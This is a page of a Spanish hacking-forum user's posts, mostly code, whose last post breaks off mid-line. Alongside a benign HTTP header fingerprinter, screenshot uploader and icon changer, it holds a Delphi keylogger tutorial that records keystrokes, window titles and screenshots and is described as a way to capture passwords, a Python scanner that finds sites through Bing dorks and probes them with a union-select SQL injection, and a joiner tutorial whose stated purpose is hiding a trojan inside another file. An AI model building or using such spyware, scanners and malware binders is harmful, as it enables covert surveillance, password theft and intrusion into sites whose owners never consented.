elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Mensajes
Páginas: 1 ... 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 [20] 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 ... 55
191  Programación / Scripting / [Perl Tk] HTTP FingerPrinting 0.1 en: 14 Septiembre 2013, 00:36 am
Un simple script en Perl para HTTP FingerPrinting o por lo menos lo intenta xDD.

El codigo :

Código
  1. #!usr/bin/perl
  2. #HTTP FingerPrinting 0.1
  3. #Coded By Doddy H
  4.  
  5. use LWP::UserAgent;
  6.  
  7. my $nave = LWP::UserAgent->new;
  8. $nave->agent(
  9. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  10. );
  11.  
  12. print "\n-- == HTTP FingerPrinting 0.1 == --\n";
  13.  
  14. unless ( $ARGV[0] ) {
  15.  
  16.    print "\n[+] Sintax : $0 <page> < -fast / -full >\n";
  17.  
  18. }
  19. else {
  20.  
  21.    print "\n[+] Getting Data ...\n";
  22.  
  23.    my $code = $nave->get( $ARGV[0] );
  24.  
  25.    print "\n----------------------------------------------\n";
  26.  
  27.    if ( $ARGV[1] eq "-full" ) {
  28.  
  29.        print $code->headers()->as_string();
  30.  
  31.    }
  32.    else {
  33.  
  34.        print "\n[+] Date : " . $code->header('date');
  35.        print "\n[+] Server : " . $code->header('server');
  36.        print "\n[+] Connection : " . $code->header('connection');
  37.        print "\n[+] Content-Type : " . $code->header('content-type');
  38.  
  39.    }
  40.  
  41.    print "\n----------------------------------------------\n";
  42.  
  43. }
  44.  
  45. print "\n[+] Coded By Doddy H\n";
  46.  
  47. #The End ?
  48.  

Tambien hice una version grafica :

Una imagen :



El codigo :

Código
  1. #!usr/bin/perl
  2. #HTTP FingerPrinting 0.1
  3. #Version Tk
  4. #Coded By Doddy H
  5.  
  6. use Tk;
  7. use LWP::UserAgent;
  8.  
  9. if ( $^O eq 'MSWin32' ) {
  10.    use Win32::Console;
  11.    Win32::Console::Free();
  12. }
  13.  
  14. my $nave = LWP::UserAgent->new;
  15. $nave->agent(
  16. "Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
  17. );
  18.  
  19. my $background_color = "black";
  20. my $foreground_color = "green";
  21.  
  22. my $ven = MainWindow->new(
  23.    -background => $background_color,
  24.    -foreground => $foreground_color
  25. );
  26. $ven->title("HTTP FingerPrinting 0.1 (C) Doddy Hackman 2013");
  27. $ven->geometry("430x340+20+20");
  28. $ven->resizable( 0, 0 );
  29.  
  30. $ven->Label(
  31.    -background => $background_color,
  32.    -foreground => $foreground_color,
  33.    -text       => "Target : ",
  34.    -font       => "Impact"
  35. )->place( -x => 20, -y => 20 );
  36. my $target = $ven->Entry(
  37.    -background => $background_color,
  38.    -foreground => $foreground_color,
  39.    -width      => 30,
  40.    -text       => "http://www.petardas.com"
  41. )->place( -x => 80, -y => 25 );
  42. $ven->Button(
  43.    -command          => \&fast,
  44.    -activebackground => $foreground_color,
  45.    -background       => $background_color,
  46.    -foreground       => $foreground_color,
  47.    -text             => "Fast",
  48.    -width            => 10
  49. )->place( -x => 270, -y => 25 );
  50. $ven->Button(
  51.    -command          => \&full,
  52.    -activebackground => $foreground_color,
  53.    -background       => $background_color,
  54.    -foreground       => $foreground_color,
  55.    -text             => "Full",
  56.    -width            => 10
  57. )->place( -x => 345, -y => 25 );
  58. $ven->Label(
  59.    -background => $background_color,
  60.    -foreground => $foreground_color,
  61.    -text       => "OutPut",
  62.    -font       => "Impact"
  63. )->place( -x => 175, -y => 70 );
  64. my $output = $ven->Text(
  65.    -background => $background_color,
  66.    -foreground => $foreground_color,
  67.    -width      => 55,
  68.    -heigh      => 15
  69. )->place( -x => 18, -y => 100 );
  70.  
  71. MainLoop;
  72.  
  73. sub fast {
  74.  
  75.    $output->delete( "0.1", "end" );
  76.  
  77.    my $code = $nave->get( $target->get );
  78.  
  79.    $output->insert( "end", "[+] Date : " . $code->header('date') );
  80.    $output->insert( "end", "\n[+] Server : " . $code->header('server') );
  81.    $output->insert( "end",
  82.        "\n[+] Connection : " . $code->header('connection') );
  83.    $output->insert( "end",
  84.        "\n[+] Content-Type : " . $code->header('content-type') );
  85.  
  86. }
  87.  
  88. sub full {
  89.  
  90.    $output->delete( "0.1", "end" );
  91.  
  92.    my $code = $nave->get( $target->get );
  93.  
  94.    $output->insert( "end", $code->headers()->as_string() );
  95.  
  96. }
  97.  
  98. #The End ?
  99.  
192  Seguridad Informática / Análisis y Diseño de Malware / [Delphi] Creacion de un Keylogger en: 9 Septiembre 2013, 18:21 pm
[Titulo] : Creacion de un Keylogger
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Capturar teclas
0x03 : Capturar ventanas
0x04 : Capturar pantalla
0x05 : Testeando

-- =================--------


0x01 : Introduccion

Bueno , voy a empezar esta manual sobre como hacer un keylogger en delphi , yo estoy usando la version 2010 de delphi.

Un keylogger es un programa que graba de forma oculta las teclas que escribe el usuario , en otras palabras , se usa para capturar contraseñas.

En esta manual veremos como capturar teclas , ventanas y hacer capturas de pantalla en delphi.

0x02 : Capturar teclas

Para comenzar creemos un proyecto normal en delphi de la siguiente manera : File->New->VCL Forms Application , como en la siguiente imagen.



Una vez hecho agregamos un memo y tres timers al formulario como en la imagen :



Una vez hecho esto hacemos doble click en el primer timer y agregamos este codigo al mismo.

Código
  1. procedure TForm1.Timer1Timer(Sender: TObject);
  2. var
  3.  i: integer; // Declaramos la variable i como entero
  4.  re: Longint; // Declaramos la variable re como longint
  5.  mayus: integer; // Declaramos la variable mayus como entero
  6.  
  7. begin
  8.  
  9.  if (GetKeyState(20) = 0) then // Si se presiona mayus
  10.  begin
  11.    mayus := 32; // Le ponemos el valor de 32 a la variable mayus
  12.  end
  13.  else
  14.  begin
  15.    mayus := 0; // Le ponemos el valor de 0 la variable mayus
  16.  end;
  17.  
  18.  for i := 65 to 90 do // Un for para detectar las teclas de la A hasta la Z
  19.  begin
  20.  
  21.    re := GetAsyncKeyState(i); // Usamos la variable re para detectar si la tecla fue usada
  22.    If re = -32767 then // Contolamos que la variable re sea igual a -32767
  23.    Begin
  24.  
  25.      Memo1.Text := Memo1.Text + Chr(i + mayus); // Escribimos en el memo usando chr en la suma de la letra
  26.      // Mas la variabe mayus
  27.    End;
  28.  end;
  29.  
  30. end;
  31.  

Una imagen con todo el codigo comentado :



Con esto ya tenemos para capturar las teclas.

0x03 : Capturar ventanas

Aca es donde se me complico un poco , para empezar tenemos que agregar en "private" que se encuentra al inicio del codigo lo siguiente :

Código
  1. private Nombre2: string;
  2.  

Con este declaramos el nombre de la ventana que es nombre2 como privado.

Ahora tenemos que hacer doble click al segundo timer y poner el siguiente codigo :

Código
  1. procedure TForm1.Timer2Timer(Sender: TObject);
  2. var
  3.  ventana1: array [0 .. 255] of char; // Declaramos ventana1 como array of char
  4.  nombre1: string; // Declaramos nombre1 como string
  5.  
  6.  // Add :
  7.  // private
  8.  // Nombre2: string;
  9.  
  10. begin
  11.  
  12.  GetWindowText(GetForegroundWindow, ventana1, SizeOf(ventana1));
  13.  // Capturamos el nombre de la
  14.  // ventana
  15.  
  16.  nombre1 := ventana1; // nombre1 tendra el valor de ventana1
  17.  
  18.  if not(nombre1 = nombre2) then // Si nombre1 no es nombre2 ........
  19.  begin
  20.    nombre2 := nombre1; // nombre2 tendra el valor de nombre1
  21.    Memo1.Lines.Add(nombre2); // agregamos al memo el valor de nombre2
  22.  end;
  23. end;
  24.  

Una imagen con el codigo comentado :



Eso seria la parte de capturar ventanas.

0x04 : Capturar pantalla

Ahora vamos a la parte mas facil , voy a usar como ejemplo un codigo que hice para un programa llamado "DH ScreenShoter" que hice en este mismo lenguaje.

Lo primero que hay que hacer es agregar Jpeg en "uses" al inicio del codigo.

Ahora hacemos doble click en el tercer timer y agregamos este codigo :

Código
  1. procedure TForm1.Timer3Timer(Sender: TObject);
  2. var
  3.  foto1: TBitmap; // Declaramos foto1 como TBitmap;
  4.  foto2: TJpegImage; // Declaramos foto2 como TJpegImage
  5.  ventana: HDC; // Declaramos aca como HDC
  6.  
  7. begin
  8.  
  9.  // Agregar "Jpeg" a "uses"
  10.  
  11.  ventana := GetWindowDC(GetDesktopWindow); // Capturamos ventana actual en aca
  12.  
  13.  foto1 := TBitmap.Create; // Iniciamos foto1 como TBitmap
  14.  foto1.PixelFormat := pf24bit; // Establecemos el pixel format
  15.  foto1.Height := Screen.Height; // Capturamos el tamaño
  16.  foto1.Width := Screen.Width; // Capturamos el tamaño
  17.  
  18.  BitBlt(foto1.Canvas.Handle, 0, 0, foto1.Width, foto1.Height, ventana, 0, 0,
  19.    SRCCOPY); // Tomamos la foto con los datos antes usados
  20.  
  21.  foto2 := TJpegImage.Create; // Iniciamos foto2 como TJpegImage
  22.  foto2.Assign(foto1); // Asignamos foto1 en foto2
  23.  foto2.CompressionQuality := 60; // Establecemos la calidad de la imagen
  24.  
  25.  foto2.SaveToFile(IntToStr(Random(100)) + '.jpg');
  26.  // Guardamos la foto tomada
  27.  // con un valor numerico
  28.  // aleatorio mas el formato
  29.  // '.jpg'
  30.  
  31. end;
  32.  

Una imagen con el codigo comentado :



Despues de esto tenemos que configurar el "interval" del timer3 a "5000" , que en realidad es para que el timer funcione cada 5 segundos.

Con esto ya terminamos la parte de capturar las imagenes.

Ahora vamos a probar todo.

0x05 : Testeando

Una vez terminado todo establecemos los tres timers en true en la parte "Enabled" de la configuracion de los timers.

Bien ahora voy a mostrarles una imagen de ejemplo :



Como pueden ver en la imagen , el keylogger detecto la ventana actual que es "Form1" (el programa mismo) y tambien detecta bien las minusculas y mayusculas cuando escribi "HolaMundo"
Tambien cada 5 segundos sacaba una foto como esta :



Eso seria todo.

El manual esta disponible en PDF aca.

--========--
  The End ?
--========--

193  Programación / Programación General / [Delphi] DH ScreenShoter 0.1 en: 6 Septiembre 2013, 18:58 pm
Un simple programa para sacar un screenshot y subir la imagen a imageshack.

Una imagen :



El codigo :

Código
  1. // DH Screenshoter 0.1
  2. // Coded By Doddy H
  3. // Credits
  4. // Based on : http://forum.codecall.net/topic/60613-how-to-capture-screen-with-delphi-code/
  5.  
  6. unit dh;
  7.  
  8. interface
  9.  
  10. uses
  11.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  12.  Dialogs, sSkinManager, StdCtrls, sGroupBox, ComCtrls, sStatusBar, sLabel,
  13.  sCheckBox, sEdit, sButton, acPNG, ExtCtrls, Jpeg, ShellApi,
  14.  IdMultipartFormData,
  15.  PerlRegEx, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP;
  16.  
  17. type
  18.  TForm1 = class(TForm)
  19.    sSkinManager1: TsSkinManager;
  20.    sGroupBox1: TsGroupBox;
  21.    sStatusBar1: TsStatusBar;
  22.    sCheckBox1: TsCheckBox;
  23.    sEdit1: TsEdit;
  24.    sCheckBox2: TsCheckBox;
  25.    sEdit2: TsEdit;
  26.    sLabel1: TsLabel;
  27.    sCheckBox3: TsCheckBox;
  28.    sGroupBox2: TsGroupBox;
  29.    sEdit3: TsEdit;
  30.    sGroupBox3: TsGroupBox;
  31.    sButton1: TsButton;
  32.    sButton2: TsButton;
  33.    sButton3: TsButton;
  34.    sButton4: TsButton;
  35.    sCheckBox4: TsCheckBox;
  36.    Image1: TImage;
  37.    IdHTTP1: TIdHTTP;
  38.    PerlRegEx1: TPerlRegEx;
  39.    procedure sButton3Click(Sender: TObject);
  40.    procedure sButton4Click(Sender: TObject);
  41.    procedure sButton2Click(Sender: TObject);
  42.    procedure sButton1Click(Sender: TObject);
  43.    procedure FormCreate(Sender: TObject);
  44.  private
  45.    { Private declarations }
  46.  public
  47.    { Public declarations }
  48.  end;
  49.  
  50. var
  51.  Form1: TForm1;
  52.  
  53. implementation
  54.  
  55. {$R *.dfm}
  56.  
  57. procedure capturar(nombre: string);
  58. var
  59.  imagen2: TJpegImage;
  60.  imagen1: TBitmap;
  61.  aca: HDC;
  62.  
  63. begin
  64.  
  65.  aca := GetWindowDC(GetDesktopWindow);
  66.  
  67.  imagen1 := TBitmap.Create;
  68.  imagen1.PixelFormat := pf24bit;
  69.  imagen1.Height := Screen.Height;
  70.  imagen1.Width := Screen.Width;
  71.  
  72.  BitBlt(imagen1.Canvas.Handle, 0, 0, imagen1.Width, imagen1.Height, aca, 0, 0,
  73.    SRCCOPY);
  74.  
  75.  imagen2 := TJpegImage.Create;
  76.  imagen2.Assign(imagen1);
  77.  imagen2.CompressionQuality := 60;
  78.  imagen2.SaveToFile(nombre);
  79.  
  80. end;
  81.  
  82. procedure TForm1.FormCreate(Sender: TObject);
  83. var
  84.  dir: string;
  85. begin
  86.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  87.  sSkinManager1.SkinName := 'cold';
  88.  sSkinManager1.Active := True;
  89.  
  90.  dir := ExtractFilePath(Application.ExeName) + '/captures';
  91.  
  92.  if not(DirectoryExists(dir)) then
  93.  begin
  94.    CreateDir(dir);
  95.  end;
  96.  
  97.  ChDir(dir);
  98.  
  99. end;
  100.  
  101. procedure TForm1.sButton1Click(Sender: TObject);
  102. var
  103.  fecha: TDateTime;
  104.  fechafinal: string;
  105.  nombrefecha: string;
  106.  i: integer;
  107.  datos: TIdMultiPartFormDataStream;
  108.  code: string;
  109.  
  110. begin
  111.  
  112.  fecha := now();
  113.  fechafinal := DateTimeToStr(fecha);
  114.  nombrefecha := fechafinal + '.jpg';
  115.  
  116.  nombrefecha := StringReplace(nombrefecha, '/', ':', [rfReplaceAll,
  117.    rfIgnoreCase]);
  118.  nombrefecha := StringReplace
  119.    (nombrefecha, ' ', '', [rfReplaceAll, rfIgnoreCase]);
  120.  nombrefecha := StringReplace(nombrefecha, ':', '_', [rfReplaceAll,
  121.    rfIgnoreCase]);
  122.  
  123.  if (sCheckBox2.Checked) then
  124.  begin
  125.    for i := 1 to StrToInt(sEdit2.text) do
  126.    begin
  127.      sStatusBar1.Panels[0].text := '[+] Taking picture on  : ' + IntToStr(i)
  128.        + ' seconds ';
  129.      Form1.sStatusBar1.Update;
  130.      Sleep(i * 1000);
  131.    end;
  132.  end;
  133.  
  134.  Form1.Hide;
  135.  
  136.  Sleep(1000);
  137.  
  138.  if (sCheckBox1.Checked) then
  139.  begin
  140.    capturar(sEdit1.text);
  141.  end
  142.  else
  143.  begin
  144.    capturar(nombrefecha);
  145.  end;
  146.  
  147.  Form1.Show;
  148.  
  149.  sStatusBar1.Panels[0].text := '[+] Photo taken';
  150.  Form1.sStatusBar1.Update;
  151.  
  152.  if (sCheckBox3.Checked) then
  153.  begin
  154.  
  155.    sStatusBar1.Panels[0].text := '[+] Uploading ...';
  156.    Form1.sStatusBar1.Update;
  157.  
  158.    datos := TIdMultiPartFormDataStream.Create;
  159.    datos.AddFormField('key', 'Fuck You');
  160.  
  161.    if (sCheckBox1.Checked) then
  162.    begin
  163.      datos.AddFile('fileupload', sEdit1.text, 'application/octet-stream');
  164.    end
  165.    else
  166.    begin
  167.      datos.AddFile('fileupload', nombrefecha, 'application/octet-stream');
  168.    end;
  169.    datos.AddFormField('format', 'json');
  170.  
  171.    code := IdHTTP1.Post('http://post.imageshack.us/upload_api.php', datos);
  172.  
  173.    PerlRegEx1.Regex := '"image_link":"(.*?)"';
  174.    PerlRegEx1.Subject := code;
  175.  
  176.    if PerlRegEx1.Match then
  177.    begin
  178.      sEdit3.text := PerlRegEx1.SubExpressions[1];
  179.      sStatusBar1.Panels[0].text := '[+] Done';
  180.      Form1.sStatusBar1.Update;
  181.    end
  182.    else
  183.    begin
  184.      sStatusBar1.Panels[0].text := '[-] Error uploading';
  185.      Form1.sStatusBar1.Update;
  186.    end;
  187.  end;
  188.  
  189.  if (sCheckBox4.Checked) then
  190.  begin
  191.    if (sCheckBox1.Checked) then
  192.    begin
  193.      ShellExecute(Handle, 'open', Pchar(sEdit1.text), nil, nil, SW_SHOWNORMAL);
  194.    end
  195.    else
  196.    begin
  197.      ShellExecute(Handle, 'open', Pchar(nombrefecha), nil, nil, SW_SHOWNORMAL);
  198.    end;
  199.  end;
  200.  
  201. end;
  202.  
  203. procedure TForm1.sButton2Click(Sender: TObject);
  204. begin
  205.  sEdit3.SelectAll;
  206.  sEdit3.CopyToClipboard;
  207. end;
  208.  
  209. procedure TForm1.sButton3Click(Sender: TObject);
  210. begin
  211.  ShowMessage('Contact to lepuke[at]hotmail[com]');
  212. end;
  213.  
  214. procedure TForm1.sButton4Click(Sender: TObject);
  215. begin
  216.  Form1.Close();
  217. end;
  218.  
  219. end.
  220.  
  221. // The End ?
  222.  


Si quieren bajar el programa lo pueden hacer de aca.
194  Programación / Scripting / [Python-Android] BingHack Tool 0.1 en: 1 Septiembre 2013, 21:19 pm
Un simple script en Python para Android con el fin de buscar paginas vulnerables a SQLI usando Bing.

El codigo :

Código
  1. #!usr/bin/python
  2. #BingHack Tool 0.1
  3. #Android Version
  4. #(C) Doddy Hackman 2013
  5.  
  6. import android,urllib2,re
  7.  
  8. nave = urllib2.build_opener()
  9. nave.add_header = [('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5')]
  10.  
  11. def toma(web) :
  12. nave = urllib2.Request(web)
  13. nave.add_header('User-Agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.5) Gecko/2008120122 Firefox/3.0.5');
  14. op = urllib2.build_opener()
  15. return op.open(nave).read()
  16.  
  17. def sql(webs):
  18. respuesta = ""
  19. for web in webs :
  20.  if re.findall("=",web):
  21.   web = re.split("=",web)
  22.   web = web[0]+"="
  23.  
  24.   try:
  25.    code = toma(web+"-1+union+select+1--")
  26.    if (re.findall("The used SELECT statements have a different number of columns",code,re.I)):
  27.     respuesta = respuesta + "[SQLI] : "+web+"\n"
  28.   except:
  29.    pass
  30. return respuesta
  31.  
  32. def limpiar(pag):
  33.  
  34. limpia = []
  35. for p in pag:
  36.  if p not in limpia:
  37.   limpia.append(p)
  38. return limpia
  39.  
  40. def buscar(dork,count):
  41.  
  42. respuesta = ""
  43.  
  44. pag = []
  45. s = 10  
  46.  
  47. while s <= int(count):
  48.  try:
  49.   code = toma("http://www.bing.com/search?q="+str(dork)+"&first="+str(s))
  50.   d = re.findall("<h3><a href=\"(.*?)\"",code,re.I)
  51.   s += 10
  52.   for a in d:
  53.    pag.append(a)
  54.  except:
  55.   pass
  56.  
  57. pag = limpiar(pag)
  58.  
  59. return pag
  60.  
  61. aplicacion = android.Android()
  62.  
  63. def menu():
  64.  
  65. aplicacion.dialogCreateAlert("BingHack Tool 0.1")
  66. aplicacion.dialogSetItems(["Search","About","Exit"])
  67. aplicacion.dialogShow()
  68. re = aplicacion.dialogGetResponse().result
  69. re2 = re["item"]
  70.  
  71. if re2==0:
  72.  
  73.  red = aplicacion.dialogGetInput("BingHack Tool 0.1","Write the dork")
  74.  dork = str(red[1])
  75.  
  76.  red = aplicacion.dialogGetInput("BingHack Tool 0.1","Write the number of pages to search")
  77.  paginas = str(red[1])
  78.  
  79.  aplicacion.dialogCreateSpinnerProgress("BingHack Tool 0.1","Searching ...")
  80.  aplicacion.dialogShow()
  81.  
  82.  founds = ""
  83.  rez = ""
  84.  rtafinal = ""
  85.  
  86.  founds = buscar(dork,paginas)
  87.  
  88.  aplicacion.dialogDismiss()
  89.  
  90.  aplicacion.dialogCreateSpinnerProgress("BingHack Tool 0.1","Scanning ...")
  91.  aplicacion.dialogShow()
  92.  
  93.  rez = sql(founds)
  94.  
  95.  if len(rez) == 0 :
  96.   rtafinal = "[-] Not Found"
  97.  else :
  98.   rtafinal = "[++] Pages Founds\n\n"
  99.   rtafinal = rtafinal + rez
  100.   rtafinal = rtafinal + "\n[++] Finished\n"
  101.  
  102.  aplicacion.dialogDismiss()
  103.  
  104.  aplicacion.dialogCreateAlert("BingHack Tool 0.1",rtafinal)
  105.  aplicacion.dialogSetPositiveButtonText("Done")
  106.  aplicacion.dialogShow()
  107.  
  108.  op = aplicacion.dialogGetResponse().result
  109.  if op["which"] == "positive" :
  110.   menu()
  111.  
  112. if re2==1 :
  113.  aplicacion.dialogCreateAlert("BingHack Tool 0.1","(C) Doddy Hackman 2013")
  114.  aplicacion.dialogSetPositiveButtonText("Done")
  115.  aplicacion.dialogShow()
  116.  re3 = aplicacion.dialogGetResponse().result
  117.  if re3["which"] == "positive" :
  118.   menu()
  119.  
  120.  if re3==2:
  121.   aplicacion.exit()
  122.  
  123. menu()
  124.  
  125. # The End ?
  126.  

Eso es todo.
195  Programación / .NET (C#, VB.NET, ASP) / Re: [SOURCE] Filmen en: 31 Agosto 2013, 22:53 pm
esta bueno  , cuando lei el titulo pense que habias hecho una especie de Camtasia Studio xDD.
196  Programación / Scripting / Re: Don't Worry en: 31 Agosto 2013, 22:51 pm
electro , yo probe el codigo y si funciona , no me tiro ningun error , ba , me aburri de ver tantas caras felices y cancele el programa xD.
197  Programación / Programación General / [Delphi] DH Icon Changer 0.1 en: 30 Agosto 2013, 20:31 pm
Un simple programa para cambiar el icono de otro programa.

Una imagen :



El codigo :

Código
  1. // DH Icon Changer 0.1
  2. // Coded By Doddy H
  3. // Based on IconChanger By Chokstyle
  4. // Thanks to Chokstyle
  5.  
  6. unit icon;
  7.  
  8. interface
  9.  
  10. uses
  11.  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  12.  Dialogs, StdCtrls, sButton, sEdit, sGroupBox, sSkinManager, ComCtrls,
  13.  sStatusBar, ExtCtrls, madRes, jpeg, sCheckBox;
  14.  
  15. type
  16.  TForm1 = class(TForm)
  17.    sSkinManager1: TsSkinManager;
  18.    sGroupBox1: TsGroupBox;
  19.    sEdit1: TsEdit;
  20.    sButton1: TsButton;
  21.    sGroupBox2: TsGroupBox;
  22.    sGroupBox3: TsGroupBox;
  23.    sButton2: TsButton;
  24.    sButton3: TsButton;
  25.    sButton4: TsButton;
  26.    sStatusBar1: TsStatusBar;
  27.    OpenDialog1: TOpenDialog;
  28.    sGroupBox4: TsGroupBox;
  29.    Image1: TImage;
  30.    sButton5: TsButton;
  31.    OpenDialog2: TOpenDialog;
  32.    Image2: TImage;
  33.    sEdit2: TsEdit;
  34.    procedure sButton1Click(Sender: TObject);
  35.    procedure FormCreate(Sender: TObject);
  36.    procedure sButton5Click(Sender: TObject);
  37.    procedure sButton2Click(Sender: TObject);
  38.  
  39.    procedure sButton4Click(Sender: TObject);
  40.    procedure sButton3Click(Sender: TObject);
  41.  private
  42.    { Private declarations }
  43.  public
  44.    { Public declarations }
  45.  end;
  46.  
  47. var
  48.  Form1: TForm1;
  49.  
  50. implementation
  51.  
  52. {$R *.dfm}
  53.  
  54. procedure TForm1.FormCreate(Sender: TObject);
  55. begin
  56.  
  57.  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  58.  sSkinManager1.SkinName := 'falloutstyle';
  59.  sSkinManager1.Active := True;
  60.  
  61.  OpenDialog1.InitialDir := GetCurrentDir;
  62.  OpenDialog2.InitialDir := GetCurrentDir;
  63.  OpenDialog2.Filter := 'ICO|*.ico|';
  64.  
  65. end;
  66.  
  67. procedure TForm1.sButton1Click(Sender: TObject);
  68. begin
  69.  
  70.  if OpenDialog1.Execute then
  71.  begin
  72.    sEdit1.Text := OpenDialog1.FileName;
  73.  end;
  74. end;
  75.  
  76. procedure TForm1.sButton2Click(Sender: TObject);
  77. var
  78.  op: string;
  79.  change: dword;
  80.  valor: string;
  81.  
  82. begin
  83.  
  84.  valor := IntToStr(128);
  85.  
  86.  op := InputBox('Backup', 'Backup ?', 'Yes');
  87.  
  88.  if op = 'Yes' then
  89.  begin
  90.    CopyFile(PChar(sEdit1.Text), PChar(ExtractFilePath(Application.ExeName)
  91.          + 'backup' + ExtractFileExt(sEdit1.Text)), True);
  92.  end;
  93.  
  94.  try
  95.    begin
  96.      change := BeginUpdateResourceW(PWideChar(wideString(sEdit1.Text)), false);
  97.      LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0, PWideChar
  98.          (wideString(sEdit2.Text)));
  99.      EndUpdateResourceW(change, false);
  100.      sStatusBar1.Panels[0].Text := '[+] Changed !';
  101.      Form1.sStatusBar1.Update;
  102.    end;
  103.  except
  104.    begin
  105.      sStatusBar1.Panels[0].Text := '[-] Error';
  106.      Form1.sStatusBar1.Update;
  107.  
  108.    end;
  109.  end;
  110.  
  111. end;
  112.  
  113. procedure TForm1.sButton4Click(Sender: TObject);
  114. begin
  115.  Form1.Close();
  116. end;
  117.  
  118. procedure TForm1.sButton5Click(Sender: TObject);
  119. begin
  120.  
  121.  if OpenDialog2.Execute then
  122.  begin
  123.    Image1.Picture.LoadFromFile(OpenDialog2.FileName);
  124.    sEdit2.Text := OpenDialog2.FileName;
  125.  end;
  126.  
  127. end;
  128.  
  129. procedure TForm1.sButton3Click(Sender: TObject);
  130. begin
  131.  ShowMessage('Credits : Based on IconChanger By Chokstyle' + #13#10 + #13#10 +
  132.      'Contact to lepuke[at]hotmail[com]');
  133. end;
  134.  
  135. end.
  136.  
  137. // The End ?
  138.  

Si quieren bajar el programa lo pueden hacer de aca.
198  Programación / Programación General / [Delphi] Creacion de un Joiner en: 29 Agosto 2013, 01:16 am
[Titulo] : Creacion de un Joiner
[Lenguaje] : Delphi
[Autor] : Doddy Hackman

[Temario]

-- =================--------

0x01 : Introduccion
0x02 : Creacion del generador
0x03 : Creacion del stub
0x04 : Probando el Joiner

-- =================--------

0x01 : Introduccion

Bueno , voy a empezar este manual que hice sobre como crear un joiner en delphi , me costo mucho encontrar un codigo en delphi sobre un joiner basico que mi limitada comprensión
puediera entender, para hacer este manual me base en el codigo "Ex Binder v0.1" hecho por TM.

¿ Que es un Joiner ?

Un joiner es un programa para juntar dos o mas archivos en uno solo , normalmente se usa para camuflar el server de algun troyano o algun virus.

¿ Que es un stub ?

El stub es el que generara los archivos que juntamos en el joiner y estan "guardados" en este ejecutable.

0x02 : Creacion del generador

Para empezar creamos un proyecto normal de la siguiente forma : File->New->VCL Forms Application , como en la siguiente imagen.



Una vez creado , creamos dos cajas edit y un boton como en la imagen :



Entonces hacemos doble click en el boton creado para poner el siguiente codigo en el boton.

Código
  1. procedure TForm1.Button1Click(Sender: TObject);
  2.  
  3. var
  4.  archivo1: string; // Declaramos la variable archivo1 como string
  5.  archivo2: string; // Declaramos la variable archivo2 como string
  6.  uno: DWORD; // Declaramos la variable uno como dword
  7.  tam: DWORD; // Declaramos la variable tam como dword
  8.  dos: DWORD; // Declaramos la variable dos como dword
  9.  tres: DWORD; // Declaramos la variable tres como dword
  10.  todo: Pointer; // Declaramos la variable todo como pointer
  11.  
  12. begin
  13.  
  14.  uno := BeginUpdateResource(PChar('tub.exe'), True); // Iniciamos la actualizacion del recurso en el archivo tub.exe
  15.  
  16.  archivo1 := UpperCase(ExtractFileName(Edit1.Text)); // Declaramos el archivo1 como el nombre del primer archivo
  17.  
  18.  dos := CreateFile(PChar(Edit1.Text), GENERIC_READ, FILE_SHARE_READ, nil,
  19.    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); // Cargamos el primer archivo
  20.  tam := GetFileSize(dos, nil); // Capturamos el tamaño
  21.  GetMem(todo, tam); // Capturamos la memoria
  22.  ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
  23.  CloseHandle(dos); // Cerramos el archivo
  24.  UpdateResource(uno, RT_RCDATA, PChar(archivo1), MAKEWord(LANG_NEUTRAL,
  25.      SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto
  26.  
  27.  archivo2 := UpperCase(ExtractFileName(Edit2.Text)); // Declaramos el archivo2 como el nombre del segundo archivo
  28.  
  29.  dos := CreateFile(PChar(Edit2.Text), GENERIC_READ, FILE_SHARE_READ, nil,
  30.    OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0);
  31.  tam := GetFileSize(dos, nil); // Capturamos el tamaño
  32.  GetMem(todo, tam); // Capturamos la memoria
  33.  ReadFile(dos, todo^, tam, tres, nil); // Capturamos el contenido
  34.  CloseHandle(dos); // Cerramos el archivo
  35.  UpdateResource(uno, RT_RCDATA, PChar(archivo2), MAKEWord(LANG_NEUTRAL,
  36.      SUBLANG_NEUTRAL), todo, tam); // Actualizamos los recursos con los datos del archivo abierto
  37.  
  38.  EndUpdateResource(uno, False); // Finalizamos la actualizacion del recurso
  39.  
  40. end;
  41.  

Una imagen del codigo comentado.



0x03 : Creacion del stub

Ahora vamos a crear una Console Application de la siguiente forma : File->New->VCL Forms Application->Other->Console , como en la imagen :



Una vez hecho copiamos el siguiente codigo :

Código
  1. program stub;
  2.  
  3. uses Windows, ShellApi; // Cargamos los modulos necesarios
  4.  
  5. function start(tres: THANDLE; cuatro, cinco: PChar; seis: DWORD): BOOL;
  6.  stdcall; // Empieza la funcion con los parametros
  7. var
  8.  data: DWORD; // Declaramos como DWORD la variable data
  9.  uno: DWORD; // Declaramos como DWORD la variable uno
  10.  dos: DWORD; // Declaramos como DWORD la variable dos
  11.  
  12. begin
  13.  
  14.  Result := True; // Retornamos true en la funcion
  15.  
  16.  data := FindResource(0, cinco, cuatro); // La variable data guarda la busqueda de recursos
  17.  
  18.  uno := CreateFile(PChar('c:/' + cinco), GENERIC_WRITE, FILE_SHARE_WRITE, nil,
